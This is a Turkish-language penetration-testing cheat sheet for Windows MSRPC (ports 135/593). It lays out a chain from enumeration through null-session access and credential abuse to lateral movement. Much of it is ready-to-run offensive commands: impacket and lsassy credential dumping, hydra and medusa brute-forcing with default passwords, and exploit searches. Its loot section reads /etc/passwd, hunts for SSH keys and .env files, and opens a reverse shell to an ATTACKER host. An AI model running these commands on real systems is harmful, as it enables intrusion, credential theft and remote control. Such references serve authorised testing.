135, 593 - Pentesting MSRPC
MSRPC windows
TCP/135 Windows RPC endpoint mapper’dır. Null session, interface dump ve DCERPC saldırıları AD/lateral için kritik yüzey.
Metodoloji
Section titled “Metodoloji”-
135/445/139 açık mı bak.
-
epmapper ve interface enum yap.
-
Null session / named pipe dene.
-
Credential ile sam/lsa/svc abuse.
nmap -Pn -sV -p135,139,445 TARGETnmap -Pn -p135,139,445 --script msrpc-enum,rpc-grind TARGETrpcdump.py TARGETimpacket-rpcdump TARGETNull / anon
Section titled “Null / anon”rpcclient -U '' -N TARGETenum4linux-ng -A TARGETnxc smb TARGET -u '' -p ''Kimlikli abuse
Section titled “Kimlikli abuse”impacket-samrdump DOMAIN/user:pass@TARGETimpacket-lsassy TARGET -u user -p passnxc smb TARGET -u user -p pass -M spider_plusDerin enum
Section titled “Derin enum”, 593 - MSRPC için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p135,593 TARGETnmap -Pn -p135 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:135' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',135));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → , 593 - MSRPCKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 135 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 135nmap -p135 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit MSRPCmsfconsole -q -x 'search MSRPC; exit'nuclei -u https://TARGET:135 -t cves/ -silent -severity || truenuclei -u http://TARGET:135 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 135printf '' | timeout 3 nc -nv TARGET 135curl -vk --http1.0 http://TARGET:135/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”rpcdump → null session → creds → sam/lsa → lateral